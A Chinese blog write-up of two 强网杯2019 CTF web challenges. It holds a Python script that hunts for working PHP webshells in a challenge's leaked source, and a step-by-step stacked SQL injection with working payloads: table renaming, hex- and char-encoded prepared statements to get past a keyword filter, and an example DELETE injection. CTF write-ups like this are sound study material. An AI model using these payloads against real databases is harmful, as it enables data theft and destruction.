[强网杯2019]WEB WP

高明的黑客

题目说网站源码在www.tar.gz,访问下载源码。

共有3000多个php文件…打开看看

发现有不少shell,但是几乎都不能用,

很明显了,大多数都是被置为空或者需要达到不可能的if条件才执行。但这题只有这么一个提示,所以应该是让我们从这些文件中找出可以用的shell。接下来就是搭环境找shell了。

import requests
import sys
import os
import threading
import time

url = "http://127.0.0.1/src/"
files = os.listdir("/Library/WebServer/Documents/src/")


# print(files)

def GetGet(file):
a = []
f = open("/Library/WebServer/Documents/src/" + file, 'r')
content = f.readlines()
for k in content:
if k.find("$_GET['") > 0:
start = k.find("$_GET['") + 7
end = k.find("'", start)
a.append(k[start:end])
return a


def GetPost(file):
a = []
f = open("/Library/WebServer/Documents/src/" + file, 'r')
content = f.readlines()
for k in content:
if k.find("$_POST['") > 0:
start = k.find("$_POST['") + 8
end = k.find("'", start)
a.append(k[start:end])
return a


def Send(start, end):
start = int(start)
end = int(end)
for k in range(start, end):
k = files[k]
get = GetGet(k)
print("Try filename: %s" % k)
for j in get:
NewUrl = url + "%s?%s=%s" % (k, j, 'echo "Success!!!"')
s = requests.get(NewUrl)
if "Success" in s.text:
print("Success! Url:%s" % NewUrl)
break
post = GetPost(k)
for j in post:
NewUrl = url + "%s" % (k)
s = requests.post(NewUrl, data={j: "echo 'Success!!'"})
if "Success" in s.text:
print("Success! Post:%s" % (j))
break


class myThread(threading.Thread):
def __init__(self, threadID, name, counter):
threading.Thread.__init__(self)
self.threadID = threadID
self.name = name
self.counter = counter

def run(self):
Send(self.name, self.counter)


for i in range(0, 150):
thread = myThread(i, i * 20, (i + 1) * 20)
thread.start()

果然我不太会写脚本 本来逻辑很简单,但是文件太多了就跑起来比较慢。所以我偷了个别人写的多线程脚本 看半天才看懂呜呜呜 dbq

跑出来了 然后去命令执行就可以了

Upload

对不起我连别人的wp都没看懂 叹息

随便注

这道题学到的知识点还是很多的!夸

刚打开是这个样子的:

(做完了这道题我猜测了一下,“安全和开发缺一不可”这句话大概是说1.做开发也要懂安全,不能用一些危险函数?2.这道题的payload中也用到了一些sql语句,并且有一种做法需要知道数据库查询原理才能做出来。所以安全和开发缺一不可?

好了进入正题8,输入1会查询到某个表中的一个数据。并且盲猜查询语句大概是select * from xxx where id=''(这句思考是铺垫

然后按照正规程序,输入1',会报错

然后在后面加个#,正常了。再尝试一下1' or 1=1 #.

可以看到返回了数据,应该是存在sql注入的。

然后继续走程序,order by 1#,在order by 3时就会报错,只有两个字段。

再继续用union select查询,发现提示select|update|delete|drop|insert|where|\./i都被过滤了。

被过滤了这么多,因此就很难再进行跨表查询了。所以试试堆叠注入。

堆叠注入

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

因此我们可以用堆叠注入来执行多条语句。

找到目标表

先康康能不能使用堆叠注入,随手查询一下数据库试试。

1';show databases;#

果然可以(我好做作。

然后再来查询一下表:

1';show tables;#

可以看出存在两张表1919810931114514words

我们来看看表里有啥,先看数字表(表名为数字的时候,必须将表名用反引号包围起来)

1';show columns from `1919810931114514`;#

flag果然在这个表里,但由于select什么的全都被过滤了,所以不能直接查询了。

再来看看words表里有些什么:

1';show columns from words;#

看到了吗!这表有id有data,并且当前数据库就这两张表,那说明默认查询的就是这张表鸭!因此猜测源码中的查询语句应该是这个样子的:

select * form `words` where id = '$id';

因此就有了第一种方法:

解题

方法一:更改表名列名

根据以上分析,查询语句是从words表中查id,因此我们如果把存在flag的表改成words,再把flag字段改成id,不就可以直接查询到flag了吗!

即思路为:

  • 将words表改名为word1
  • 将1919810931114514表改名为words
  • 将字段名flag改为id

修改表名和列名的语法:

修改表名(将表名user改为users)
alter table user rename to users;

修改列名(将字段名username改为name)
alter table users change username name varchar(30);

因此这种方法的最终payload为:

1'; alter table words rename to word1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

改好之后通过1' or 1=1#就能查到flag了。

方法二:预编译绕过

这种方法就是利用预处理语句来构造带有select的语句,从而查询出flag所在表中的内容。

  • set用于设置变量名和值
  • prepare用于预备一个语句,并赋予名称,以后可以引用该语句
  • execute执行语句
  • deallocate prepare用来释放掉预处理的语句
char编码

构造char编码的exp如下:

payload = "1';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()'
# exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'"
# exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print my_payload

由于前面已经得到表名了,这里直接构造最后一步编码即可,得到

1';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;
十六进制编码

将查询语句select * from `1919810931114514`进行十六进制编码也🉑️。

1';set@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare b from @a;execute b;#

但出现了以下提示:

这里检测到了set和prepare关键词,但strstr这个函数并不能区分大小写,我们将其大写即可。并且由于用的是&&,因此只需要改一个就好了。

1';SET@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare b from @a;execute b;#
字符拼接

也比较简单:

1';Set @a = CONCAT('se','lect * from `1919810931114514`;');prepare b from @a;EXECUTE b;#

okkk了,bye

Author: Neorah
Link: https://neorah.me/ctf/%E5%BC%BA%E7%BD%91%E6%9D%AF2019/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.